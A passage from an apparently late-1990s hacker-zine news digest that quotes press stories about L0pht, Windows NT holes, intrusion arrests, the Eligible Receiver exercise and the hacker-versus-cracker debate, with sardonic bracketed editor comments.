passwords. They demonstrated the security breach by posting their
|
|||
|
victorious code on the Internet and showing how it was possible to steal
|
|||
|
an entire registry of passwords in roughly 26 hours, a task Microsoft
|
|||
|
reportedly claimed would take 5,000 years.
|
|||
|
|
|||
|
"It's big. It's bad. It cuts through NT passwords like a diamond tipped,
|
|||
|
steel blade," boasts advertising for the latest version of their
|
|||
|
security-auditing tool, dubbed "L0phtcrack." "It ferrets them out from the
|
|||
|
registry, from repair disks, and by sniffing the net like an anteater on
|
|||
|
dexadrene."
|
|||
|
|
|||
|
Microsoft took notice and, in an unprecedented move, executives invited
|
|||
|
the L0pht to dinner at a Las Vegas hacker convention last year. They have
|
|||
|
worked with the L0pht to plug subsequent security loopholes while
|
|||
|
simultaneously adding hacker-style techniques to in-house testing.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
In doing so, the L0pht is grabbing the world's attention. But for all
|
|||
|
their skill in unscrambling the great riddles of technology, they remain
|
|||
|
baffled by some fundamental mysteries of life. Asked what puzzle they
|
|||
|
would most like to solve, "Kingpin" replied: "Girls."
|
|||
|
|
|||
|
[See! At least 2 out of 7 l0pht members hack for girls!]
|
|||
|
|
|||
|
0x12>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: 101 Ways to Hack into Windows NT
|
|||
|
Source: Surveillance List Forum
|
|||
|
Date: April 3, 1998
|
|||
|
|
|||
|
MELBOURNE, AUSTRALIA: A study by Shake Communications Pty Ltd has
|
|||
|
identified not 101, but 104, vulnerabilities in Microsoft Windows NT,
|
|||
|
which hackers can use to penetrate an organisation's network.
|
|||
|
|
|||
|
Many of the holes are very serious, allowing intruders privileged access
|
|||
|
into an organisation's information system and giving them the ability to
|
|||
|
cause critical damage - such as copying, changing and deleting files, and
|
|||
|
crashing the network. Most of the holes apply to all versions (3.5, 3.51
|
|||
|
and 4) of the popular operating system.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Shake Communications also provides links to patches/fixes in its
|
|||
|
Vulnerabilities Database, which also covers other operating systems,
|
|||
|
programs, applications, languages and hardware.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x13>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Suspected NASA Hacker Nabbed
|
|||
|
Source: CNET news.com
|
|||
|
Date: April 6, 1998
|
|||
|
|
|||
|
TORONTO, Ontario--A 22-year-old Canadian man suspected of breaking into a
|
|||
|
NASA Web site and causing tens of thousands of dollars in damage has been
|
|||
|
arrested by Canadian Mounties.
|
|||
|
|
|||
|
The Royal Canadian Mounted Police in the northern Ontario city of Sudbury
|
|||
|
charged Jason Mewhiney with mischief, illegal entry, and willfully
|
|||
|
obstructing, interrupting, and interfering with the lawful use of data,
|
|||
|
Corporal Alain Charbot said today.
|
|||
|
|
|||
|
[u4ea?!]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
More than $70,000 worth of damage was caused at the NASA Web site and
|
|||
|
officials were forced to rebuild the site and change security, Charbot
|
|||
|
said.
|
|||
|
|
|||
|
The FBI tracked the hacker by tracing telephone numbers to the Sudbury
|
|||
|
area.
|
|||
|
|
|||
|
The Mounties raided the homes of Mewhiney's divorced parents and seized an
|
|||
|
ancient computer, a second basic computer, a high-speed modem, diskettes,
|
|||
|
and documents.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Charbot said ironically, once hackers are released from police custody
|
|||
|
they are prime candidates for cushy corporate jobs, doing the same type of
|
|||
|
work--but with the permission of Web site builders.
|
|||
|
|
|||
|
[Why must these people revert to the use of 'web' terms?!]
|
|||
|
|
|||
|
0x14>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: CEOs Hear the Unpleasant Truth about Computer Security
|
|||
|
Source: CNN
|
|||
|
Author: Ann Kellan
|
|||
|
Date: April 6, 1998
|
|||
|
|
|||
|
ATLANTA (CNN) -- Computer hackers breaking into government and corporate
|
|||
|
computers is estimated to be a $10 billion-a-year problem, so CEOs met
|
|||
|
Monday in Atlanta to hear what government and industry experts are doing
|
|||
|
about it.
|
|||
|
|
|||
|
[More expert figures on damage... <sigh>]
|
|||
|
|
|||
|
They learned, among other things, that the Pentagon alone had 250,000
|
|||
|
hacker attempts on its computer system last year, and that computer
|
|||
|
networks are easy targets.
|
|||
|
|
|||
|
[And more quoting of inaccurate statistics...]
|
|||
|
|
|||
|
They also learned that there are almost 2,000 Web sites offering tips,
|
|||
|
tools and techniques to hackers.
|
|||
|
|
|||
|
Among the things a hacker can do is send an e-mail to someone and attach a
|
|||
|
computer program to it. The attached program will, in the words of one
|
|||
|
hacker, "open up a back door" into the computer system it was sent to.
|
|||
|
|
|||
|
[Its just that easy I bet...]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
According to IBM CEO Louis Gerstner, government and corporations need to
|
|||
|
work together to set standards for security practices such as
|
|||
|
hacker-resistant encryption codes.
|
|||
|
|
|||
|
"We should be encouraging the widespread adoption of encryption technology
|
|||
|
right now, led by U.S.-based manufacturers," Gerstner said.
|
|||
|
|
|||
|
CIA Director George Tenet told the CEOs not to look to the government to
|
|||
|
fix the problem.
|
|||
|
|
|||
|
[Now there is a good quote.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x15>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Codebreakers
|
|||
|
Source: Time Magazine
|
|||
|
Date: April 20, 1998
|
|||
|
|
|||
|
CRACKED Thought your new digital cell phone was safe from high-tech
|
|||
|
thieves? Guess again. Silicon Valley cypherpunks have broken the
|
|||
|
proprietary encryption technology used in 80 million GSM (Global System
|
|||
|
for Mobile communications) phones nationwide, including Motorola MicroTAC,
|
|||
|
Ericsson GSM 900 and Siemens D1900 models. Now crooks scanning the
|
|||
|
airwaves can remotely tap into a call and duplicate the owner's digital
|
|||
|
ID. "We can clone the phones," brags Marc Briceno, who organized the
|
|||
|
cracking. His advice: manufacturers should stick to publicly vetted codes
|
|||
|
that a bunch of geeks can't crack in their spare time. --By Declan
|
|||
|
McCullagh/Washington
|
|||
|
|
|||
|
0x16>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hackers Could Disable Military
|
|||
|
Source: Washington Times
|
|||
|
Author: Bill Gertz
|
|||
|
Date: April 16, 1998
|
|||
|
|
|||
|
Senior Pentagon leaders were stunned by a military exercise showing how
|
|||
|
easy it is for hackers to cripple U.S. military and civilian computer
|
|||
|
networks, according to new details of the secret exercise.
|
|||
|
|
|||
|
Using software obtained easily from hacker sites on the Internet, a group
|
|||
|
of National Security Agency officials could have shut down the U.S.
|
|||
|
electric-power grid within days and rendered impotent the
|
|||
|
command-and-control elements of the U.S. Pacific Command, said officials
|
|||
|
familiar with the war game, known as Eligible Receiver.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Pentagon spokesman Kenneth Bacon said, "Eligible Receiver was an important
|
|||
|
and revealing exercise that taught us that we must be better organized to
|
|||
|
deal with potential attacks against our computer systems and information
|
|||
|
infrastructure."
|
|||
|
|
|||
|
[Such a neat name too!]
|
|||
|
|
|||
|
The secret exercise began last June after months of preparation by the NSA
|
|||
|
computer specialists who, without warning, targeted computers used by U.S.
|
|||
|
military forces in the Pacific and in the United States.
|
|||
|
|
|||
|
The game was simple: Conduct information warfare attacks, or "infowar," on
|
|||
|
the Pacific Command and ultimately force the United States to soften its
|
|||
|
policies toward the crumbling communist regime in Pyongyang. The "hackers"
|
|||
|
posed as paid surrogates for North Korea.
|
|||
|
|
|||
|
The NSA "Red Team" of make-believe hackers showed how easy it is for
|
|||
|
foreign nations to wreak electronic havoc using computers, modems and
|
|||
|
software technology widely available on the darker regions of the
|
|||
|
Internet: network-scanning software, intrusion tools and password-breaking
|
|||
|
"log-in scripts."
|
|||
|
|
|||
|
[They successfully hack their target, yet they are "make-believe"?]
|
|||
|
|
|||
|
According to U.S. officials who took part in the exercise, within days the
|
|||
|
team of 50 to 75 NSA officials had inflicted crippling damage.
|
|||
|
|
|||
|
They broke into computer networks and gained access to the systems that
|
|||
|
control the electrical power grid for the entire country. If they had
|
|||
|
wanted to, the hackers could have disabled the grid, leaving the United
|
|||
|
States in the dark.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
The attackers also foiled virtually all efforts to trace them. FBI agents
|
|||
|
joined the Pentagon in trying to find the hackers, but for the most part
|
|||
|
they failed. Only one of the several NSA groups, a unit based in the
|
|||
|
United States, was uncovered. The rest operated without being located or
|
|||
|
identified.
|
|||
|
|
|||
|
The attackers breached the Pentagon's unclassified global computer network
|
|||
|
using Internet service providers and dial-in connections that allowed them
|
|||
|
to hop around the world.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
The targets of the network attacks also made it easy. "They just were not
|
|||
|
security-aware," said the official.
|
|||
|
|
|||
|
A second official found that many military computers used the word
|
|||
|
"password" for their confidential access word.
|
|||
|
|
|||
|
[*scribbling notes..*]
|
|||
|
|
|||
|
0x17>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Secret Service Hackers Can't Crack Internet
|
|||
|
Source: PA News
|
|||
|
Author: Giles Turnbull
|
|||
|
Date: April 21, 1998
|
|||
|
|
|||
|
[So the NSA has better hackers than the Secret Service. <snicker>]
|
|||
|
|
|||
|
Professional computer hackers from the secret services were brought in
|
|||
|
to attempt to hack into the Government's internal secure communications
|
|||
|
system, which was launched today.
|
|||
|
|
|||
|
As part of the year-long planning and preparation of the Intranet, staff
|
|||
|
from GCHQ and similar security organisations were brought in to try to hack
|
|||
|
into the system.
|
|||
|
|
|||
|
But they failed.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x18>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Now Hiring: Hackers (Tattoos Welcome)
|
|||
|
Source: Tribune
|
|||
|
Author: Susan Moran
|
|||
|
Date: April 12, 1998
|
|||
|
|
|||
|
Even the computer professionals who like to wear Birkenstocks and T-shirts
|
|||
|
to work find the dress code of GenX hackers a bit extreme. The main
|
|||
|
elements seem to be tattoos and nose rings.
|
|||
|
|
|||
|
[No stereotyping here...]
|
|||
|
|
|||
|
They'd better get used to them. Many computer hackers, some of them
|
|||
|
recovering computer criminals, are adeptly turning their coveted expertise
|
|||
|
into big bucks.
|
|||
|
|
|||
|
A surge in computer crime, spurred by the shift to networked computers and
|
|||
|
by the growing popularity of the Internet, has created a huge demand for
|
|||
|
information security experts who can help protect companies' computer
|
|||
|
systems. Recent high-profile attacks on government and university computer
|
|||
|
networks highlighted the vulnerability of these networks and spurred
|
|||
|
corporate executives to seek ways to fortify their systems.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
In a separate recent incident, the Justice Department last month arrested
|
|||
|
three Israeli teenagers suspected of masterminding the break-ins of
|
|||
|
hundreds of military, government and university computer sites to gaze at
|
|||
|
unclassified information. The Federal Bureau of Investigation is also
|
|||
|
investigating two California teens who linked up with their Israeli
|
|||
|
co-conspirators over the Internet.
|
|||
|
|
|||
|
[Three Israeli teens? Gee, could they mean the two Cloverdale CALIFORNIA
|
|||
|
kiddies and 'the analyzer'?]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Hackers' anarchistic style is gradually gaining acceptance in corporations
|
|||
|
and government agencies, although some conservative organizations feel
|
|||
|
safer renting experts from established consulting firms.
|
|||
|
|
|||
|
[Experts that consist of hackers who can dress well, and act all
|
|||
|
'corporate'.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
That yellow-haired hacker, a 24-year-old who prefers to be known by his
|
|||
|
alias, "Route," also sports a tongue bar. His work as an information
|
|||
|
security consultant is worth $1,500 to $2,000 a day to clients who want to
|
|||
|
arm themselves against attacks by "crackers"--the correct term for hackers
|
|||
|
who use their computer expertise to commit malicious acts of infiltrating
|
|||
|
computer networks. On his own time, Route edits Phrack, a computer
|
|||
|
security journal (phrack.com). And he occasionally gives talks to
|
|||
|
government and corporate clients for Villella's firm, New Dimensions
|
|||
|
International (www.ndi.com). Route writes his own security-related tools
|
|||
|
and claims he's never used them for illegal snooping.
|
|||
|
|
|||
|
[Woohoo! Go Route! Go Route!]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Another hacker who now makes a healthy living consulting goes by the alias
|
|||
|
"Mudge." He is a member of L0pht, a sort of "hacker think tank" consisting
|
|||
|
of a handful of Boston-based hackers who work out of a loft space, where
|
|||
|
they research and develop products and swap information about computer and
|
|||
|
cellular phone security, among other things. Mudge consults for private
|
|||
|
and public organizations, teaches classes on secure coding practices, and
|
|||
|
writes his own and reviews others' code. "It pays well, but the money
|
|||
|
isn't the main reason I'm doing it," he said.
|
|||
|
|
|||
|
[In a recent talk over beer, Mudge confided in me that he does it
|
|||
|
for the girls. :) ]
|
|||
|
|
|||
|
What he likes best is knowing he's among the elite experts who understand
|
|||
|
computer security more than big-name consultants. He's proud that he and
|
|||
|
his ragged assortment of hacker friends are called in to solve problems
|
|||
|
that stump the buttoned-down set.
|
|||
|
|
|||
|
"Not bad for a bunch of bit-twiddlers," he wrote in an e-mail missive.
|
|||
|
|
|||
|
0x19>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hacker Stoppers?
|
|||
|
Source: InformationWeek
|
|||
|
Author: Deborah Kerr
|
|||
|
Date: April 27
|
|||
|
|
|||
|
Companies bought $65 million worth of network-intrusion
|
|||
|
tools last year, but capabilities still lag behind what's promised.
|
|||
|
|
|||
|
Neal Clift no longer sleeps on the floor of his office. Ten years ago, he
|
|||
|
slept under his Digital VAX at Leeds University in England, listening for
|
|||
|
the telltale clicks and hums that signal an intruder on his network. For
|
|||
|
weeks, a hacker had been shamelessly crashing his machine, deleting files,
|
|||
|
and reconfiguring controls. Clift tracked the hacker's movements, recorded
|
|||
|
the keystrokes, and eventually closed up the hacker's entry points.
|
|||
|
|
|||
|
At the time, pulling late-nighters was the only way to catch a hacker,
|
|||
|
since poring over system logs could only establish the hacker's patterns
|
|||
|
after the fact. Now, intrusion-detection technology lets network security
|
|||
|
managers and administrators catch trespassers without spending the night
|
|||
|
on the office floor.
|
|||
|
|
|||
|
Intrusion-detection tools are a $65 million industry that will grow as
|
|||
|
large as the firewall market, which reached about $255 million in 1997,
|
|||
|
according to the Hurwitz Group, in Framingham, Mass. Touted as network
|
|||
|
burglar alarms, intrusion-detection systems are programmed to watch for
|
|||
|
predefineds2000] attack "signatures," or predefined bytecode trails of
|
|||
|
prespecified hacks. Intrusion-detection systems also send out real-time
|
|||
|
alerts of suspicious goings-on inside the network. enger]
|
|||
|
|
|||
|
But don't bet the server farm on intrusion-detection systems yet. They're
|
|||
|
still new, and their capabilities are limited. No matter what you buy,
|
|||
|
some portion of the enterprise will be unprotected. Intrusion-detection
|
|||
|
systems also can break down under certain types of attacks, in some cases
|
|||
|
even turning on their own networks under the guidance of a truly
|
|||
|
knowledgeable hacker.
|
|||
|
|
|||
|
"There's no one tool to solve all the security problems throughout your
|
|||
|
network," says Jim Patterson, vice president of security and
|
|||
|
telecommunications at Oppenheimer Funds, in Denver...
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
|
|||
|
0x1a>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hackers' Dark Side Gets Even Darker
|
|||
|
Author: Douglas Hayward
|
|||
|
|
|||
|
LONDON -- The hacker community is splitting into a series of distinct
|
|||
|
cultural groups -- some of which are becoming dangerous to businesses and
|
|||
|
a potential threat to national security, an official of Europe's largest
|
|||
|
defense research agency warned Thursday. New types of malicious hackers
|
|||
|
are evolving who use other hackers to do their dirty work, said Alan Hood,
|
|||
|
a research scientist in the information warfare unit of Britain's Defense
|
|||
|
Evaluation and Research Agency (DERA).
|
|||
|
|
|||
|
Two of the most dangerous types of malicious hackers are information
|
|||
|
brokers and meta-hackers, said Hood, whose agency develops security
|
|||
|
systems for the British military. Information brokers commission and pay
|
|||
|
hackers to steal information, then resell the information to foreign
|
|||
|
governments or business rivals of the target organizations.
|
|||
|
|
|||
|
Meta-hackers are sophisticated hackers who monitor other hackers without
|
|||
|
being noticed, and then exploit the vulnerabilities identified by these
|
|||
|
hackers they are monitoring. A sophisticate meta-hacker effectively uses
|
|||
|
other hackers as tools to attack networks. "Meta-hackers are one of the
|
|||
|
most sinister things I have run into," Hood said. "They scare the hell out
|
|||
|
of me."
|
|||
|
|
|||
|
[Great.. more terms and lousy journalism..]
|
|||
|
|
|||
|
DERA is also concerned that terrorist and criminal gangs are preparing to
|
|||
|
use hacking techniques to neutralize military, police and security
|
|||
|
services, Hood said.
|
|||
|
|
|||
|
[Criminal gangs.. oooh...]
|
|||
|
|
|||
|
[snip... lame stereotype crap]
|
|||
|
|
|||
|
0x1b>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Japan Fears It's Becoming a Base for Hackers
|
|||
|
Source: Daily Yomiuri On-Line
|
|||
|
Author: Douglas Hayward
|
|||
|
Date: 4/29/98
|
|||
|
|
|||
|
To fill in legal loopholes that have caused an increase in unauthorized
|
|||
|
computer access, the National Police Agency has set up a group of experts
|
|||
|
to study how to prevent Internet crimes.
|
|||
|
|
|||
|
Unlike Europe and the United States, Japan has no law prohibiting
|
|||
|
unauthorized access to computers through the Internet. There has been a
|
|||
|
stream of reports of anonymous hackers accessing corporate servers.
|
|||
|
|
|||
|
[Gee, they have no laws making hacking illegal, and they wonder why
|
|||
|
they are becoming a base for hackers? Bright.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
The Japan Computer Emergency Response Team Coordination Center has been
|
|||
|
studying cases of unauthorized access through the Net, and found a total
|
|||
|
of 644 from the time of the center's establishment in October 1996 to last
|
|||
|
month.
|
|||
|
|
|||
|
Meanwhile, police uncovered 101 high-tech crimes in 1997, three times as
|
|||
|
many as in the previous year.
|
|||
|
|
|||
|
0x1c>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Kevin Mitnick Hacker Case Drags On and On
|
|||
|
Source: ZDTV
|
|||
|
Author: Kevin Poulsen
|
|||
|
Date: 4/28/98
|
|||
|
|
|||
|
[If you haven't visited, go to www.kevinmitnick.com right now.]
|
|||
|
|
|||
|
LOS ANGELES-- "Now, have we made any progress here?"
|
|||
|
|
|||
|
With those words, Judge Mariana Pfaelzer opened the latest hearing in the
|
|||
|
Kevin Mitnick case in L.A.'s U.S. District Court Monday. She might as well
|
|||
|
have said, "Let's get ready to rumble."
|
|||
|
|
|||
|
It's now been more than three years since a dramatic electronic manhunt
|
|||
|
ended with Mitnick's arrest, national headlines, books and movie deals.
|
|||
|
|
|||
|
Since then, the excitement has faded. The books oversaturated the market;
|
|||
|
the movies never got made. And the once fast-paced story of a compulsive
|
|||
|
hacker with a goofy sense of humor is mired in its epilogue: the slow ride
|
|||
|
to disposition over the speed-bumps of the federal justice system.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
But only some of it. The government wants to keep a tight lid on the
|
|||
|
"proprietary" software in the case, and on what it calls "hacker tools."
|
|||
|
The defense can review these files, but they can't have their own copies
|
|||
|
for analysis.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
If the evidence was in paper form, the government would have probably
|
|||
|
agreed. But Painter says that with electronic evidence, "it's too easy for
|
|||
|
this to be disseminated by the defendants."
|
|||
|
|
|||
|
In other words, the government doesn't want the data to show up on a Web
|
|||
|
site in Antigua.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x1d>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Millions Lost to Phone Hackers
|
|||
|
Author: Andrew Probyn
|
|||
|
|
|||
|
MILLIONS of dollars are being ripped off phone users in Australia by
|
|||
|
hackers using increasingly elaborate phone scams. Households, businesses
|
|||
|
and mobile phone users have become victims of widespread and systematic
|
|||
|
phone fraud.
|
|||
|
|
|||
|
[Hackers using phone scams?]
|
|||
|
|
|||
|
As carriers Telstra and Optus make advances in protecting their
|
|||
|
telecommunications networks, hackers are increasingly adept at breaking
|
|||
|
their security codes to rip off users.
|
|||
|
|
|||
|
The Herald Sun has discovered many cases of billing discrepancies blamed
|
|||
|
on hackers, including one householder charged $10,000 for calls he said he
|
|||
|
never made.
|
|||
|
|
|||
|
A Herald Sun investigation has also shown: SEX calls to chat lines in the
|
|||
|
United States, Guyana, the Dominican Republic, Russia, Chile and the
|
|||
|
Seychelles are commonly charged to other people's accounts. HACKERS can
|
|||
|
divert their Internet, local and international call costs without
|
|||
|
detection.
|
|||
|
|
|||
|
[Why do I think they are using 'hackers' for any sex-fiend that stole
|
|||
|
a code?]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"Hacking could be costing consumers in the region of millions of dollars,"
|
|||
|
he said. "Some of these calls are very expensive - sex calls, for example,
|
|||
|
can be up to $30 just to be connected."
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x1e>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hackers on the Hill
|
|||
|
Author: Annaliza Savage
|
|||
|
|
|||
|
[FINALLY...get some incredible hackers up there to school these
|
|||
|
weenies. Go l0pht!]
|
|||
|
|
|||
|
Seven hackers will face the Senate Government Affairs Committee Tuesday.
|
|||
|
But they aren't in any trouble.
|
|||
|
|
|||
|
The seven hackers have been invited by Senator Fred Thompson (R-Tenn.)--
|
|||
|
the sometime-actor you may remember from such films as The Hunt For Red
|
|||
|
October and Die Hard 2-- to testify about the state of the US Government's
|
|||
|
computer networks.
|
|||
|
|
|||
|
The seven-- Mudge, King Pin, Brian Oblivian, Space Rouge, Weld Pond, Tan
|
|||
|
and Stefan-- are all members of the L0pht, a hacker hangout in Boston, and
|
|||
|
have been part of the hacker underground for years.
|
|||
|
|
|||
|
"We were surprised to get an email from a senator's aide. We have had some
|
|||
|
contacts with law enforcement over the years, but this was something
|
|||
|
completely different," said Weld Pond.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"We are trying to return the label hacker to the badge of honor it used to
|
|||
|
be in the old days. A word that means knowledge and skill, not criminal or
|
|||
|
script-kiddies, as it does in the popular press today," Weld Pond said.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
When Thompson's aide, John Pede, showed up at the L0pht to discuss the
|
|||
|
Senate hearings with the group, the irony of the visit wasn't wasted on
|
|||
|
hackers. Weld Pond explained: "We thought about blindfolding him on the
|
|||
|
way over here but decided against it in the end. The visit was a little
|
|||
|
uncomfortable. When the FBI has reporters visit them they clean up quite a
|
|||
|
bit and keep an eagle eye on the visitors. This was no different except
|
|||
|
the tables were turned."
|
|||
|
|
|||
|
Mudge was glad to be able to show off the l0pht to the men in suits. "We
|
|||
|
actually enjoyed having the government officials over. It's a wonderful
|
|||
|
sight when we bring guests over to the l0pht and their jaws drop on the
|
|||
|
floor after seeing all of the stuff we have managed to engineer and get
|
|||
|
working. Especially when they realize it has all been without any formal
|
|||
|
funding."
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x1f>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: RSA Sues Network Associates
|
|||
|
Source: CNET NEWS.COM
|
|||
|
Author: Tim Clark
|
|||
|
Date: 5.20.98
|
|||
|
|
|||
|
RSA Data Security is seeking to bar Network Associates from shipping any
|
|||
|
Trusted Information Systems software that uses RSA encryption technology.
|
|||
|
|
|||
|
[Nyah nyah!]
|
|||
|
|
|||
|
Earlier this year, Network Associates acquired TIS, licensed by RSA to use
|
|||
|
its encryption algorithms in TIS virtual private network software. RSA is
|
|||
|
a wholly owned subsidiary of Security Dynamics.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"RSA is a company based on intellectual property," said Paul Livesay,
|
|||
|
RSA's general counsel. "Right now we perceive Network Associates as having
|
|||
|
an approach to doing business by acquiring companies and ignoring
|
|||
|
third-party agreements, so why would we want to assign the license to TIS
|
|||
|
to a party that operates in that manner?"
|
|||
|
|
|||
|
0x20>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Clinton to Outline Cyberthreat Policy
|
|||
|
Source: CNET NEWS.COM
|
|||
|
Author: Tim Clark
|
|||
|
Date: 5.21.98
|
|||
|
|
|||
|
In a commencement speech at the U.S. Naval Academy tomorrow, President
|
|||
|
Clinton is expected to highlight cyberthreats to the nation's electronic
|
|||
|
infrastructure, both from deliberate sabotage and from accidents such as
|
|||
|
the satellite outage that silenced pagers across the nation this week.
|
|||
|
|
|||
|
Clinton also is expected to outline two new security directives, one aimed
|
|||
|
at traditional terrorism and the other at cyberthreats. The cyberthreats
|
|||
|
directive follows last year's report from the Presidential Commission on
|
|||
|
Critical Infrastructure Protection.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"Clinton will announce a new policy for cyberterrorism based on the
|
|||
|
recommendations of the commission, stressing the fact that we need
|
|||
|
private-sector help to solve this problem, since the private sector owns
|
|||
|
80 to 90 percent of the nation's infrastructure," said P. Dennis LeNard
|
|||
|
Jr., deputy public affairs officer at PCCIP. Under the new policy, that
|
|||
|
agency will become the Critical Infrastructure Assurance Office, or CIAO.
|
|||
|
|
|||
|
Clinton also is expected to order federal agencies to come up with a plan
|
|||
|
within three to five years that identifies vulnerabilities of the nation's
|
|||
|
infrastructure and responses to attacks as well as creating a plan to
|
|||
|
reconstitute the U.S. defense system and economy if a cyberattack
|
|||
|
succeeds, said a former White House staffer familiar with Clinton's
|
|||
|
speech.
|
|||
|
|
|||
|
[Three to five years.. how.. timely.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"The Department of Justice is not keen on sharing information that could
|
|||
|
lead to criminal prosecutions," the official said. "The private sector
|
|||
|
does not trust the FBI, and the FBI doesn't want to give out secrets.
|
|||
|
They're afraid that if they share information, they may someday have to
|
|||
|
testify in court."
|
|||
|
|
|||
|
0x21>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Programmer Sentenced for Military Computer Intrusion
|
|||
|
Source: CNN
|
|||
|
Date: 5.25.98
|
|||
|
|
|||
|
DAYTON, Ohio (AP)- A computer programmer was sentenced to six months at a
|
|||
|
halfway house for gaining access to a military computer that tracks Air
|
|||
|
Force aircraft and missile systems.
|
|||
|
|
|||
|
Steven Liu, 24, was also fined $5,000 Friday after pleading guilty to
|
|||
|
exceeding authorized access to a computer.
|
|||
|
|
|||
|
Liu, a Chinese national who worked for a military contractor in Dayton,
|
|||
|
downloaded passwords from a $148 million database at Wright-Patterson Air
|
|||
|
Force Base. He said he accidentally discovered the password file and used
|
|||
|
it to try to find his job-performance evaluation.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x22>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Editorial - Hacker vs Cracker, Revisited
|
|||
|
Source: OTC: Chicago, Illinois
|
|||
|
Author: Bob Woods
|
|||
|
Date: 5.22.98
|
|||
|
|
|||
|
Newsbytes. If a person talks about or writes a news story regarding a
|
|||
|
hacker, one creates an image that is perpetuated in a Network Associates
|
|||
|
TV ad: the heavily tattooed, ratty looking cyberpunk who breaks into
|
|||
|
systems and posts proprietary information on the Internet for the same
|
|||
|
reason "why (I) pierce (my) tongue." The big problem, though, is that
|
|||
|
person is more accurately described as a "cracker," not a "hacker."
|
|||
|
|
|||
|
ZDTV CyberCrime correspondent Alex Wellen said earlier this week that
|
|||
|
"cracker" is gaining acceptance in the media -- and quoted an old column
|
|||
|
of mine in the process. Because of this unexpected exposure, I decided to
|
|||
|
take a second look at my old work.
|
|||
|
|
|||
|
First, here's the text of my January 23, 1996 column:
|
|||
|
|
|||
|
Our readers have their hackles up when hacker is mentioned in our
|
|||
|
stories. "Hackers," they argue, are good people who just want to learn
|
|||
|
everything about a computer system, while "crackers" are the ones who are
|
|||
|
breaking into computer systems illegally.
|
|||
|
|
|||
|
The problem arises when the public and people who shape society get a
|
|||
|
hold of terms like "hacker" -- a word once viewed as non-threatening, but
|
|||
|
is now turned into a name that conjures up visions of altered World Wide
|
|||
|
Web pages and crashed computer systems.
|
|||
|
|
|||
|
"Que's Computer and Internet Dictionary, 6th Edition," by Dr. Bryan
|
|||
|
Pfaffenberger with David Wall, defines a hacker as "A computer enthusiast
|
|||
|
who enjoys learning everything about a computer system and, through clever
|
|||
|
programming, pushing the system to its highest possible level of
|
|||
|
performance." But during the 1980s, "the press redefined the term to
|
|||
|
include hobbyists who break into secured computer systems," Pfaffenberger
|
|||
|
wrote.
|
|||
|
|
|||
|
At one time hackers -- the "good" kind -- abided by the "hacker ethic,"
|
|||
|
which said "all technical information should, in principle, be freely
|
|||
|
available to all. Therefore gaining entry to a system to explore data and
|
|||
|
increase knowledge is never unethical," according to the Que dictionary.
|
|||
|
|
|||
|
These ethics applied to the first-generation hacker community, which
|
|||
|
Que said existed from roughly 1965 to 1982. While some of those people do
|
|||
|
still exist, many other people who describe themselves as "hackers" are a
|
|||
|
part of the current generation of people who "destroy, alter, or move data
|
|||
|
in such a way that could cause injury or expense" -- actions that are
|
|||
|
against the hacker ethic, Que's dictionary said. Many of those actions are
|
|||
|
also against the law.
|
|||
|
|
|||
|
Today's hacker generation -- the ones bent on destruction -- are more
|
|||
|
accurately called "crackers." Que defines such a person as "A computer
|
|||
|
hobbyist who gets kicks from gaining unauthorized access to computer
|
|||
|
systems. Cracking is a silly, egotistical game in which the object is to
|
|||
|
defeat even the most secure computer systems. Although many crackers do
|
|||
|
little more than leave a 'calling card' to prove their victory, some
|
|||
|
attempt to steal credit card information or destroy data. Whether or not
|
|||
|
they commit a crime, all crackers injure legitimate computer users by
|
|||
|
consuming the time of system administrators and making computer resources
|
|||
|
more difficult to access."
|
|||
|
|
|||
|
Here's the rub: whenever the media, including Newsbytes, uses the term
|
|||
|
"hacker," we are hit with complaints about the term's usage. E-mails to
|
|||
|
us usually say "I'm a hacker, yet I don't destroy anything." In other
|
|||
|
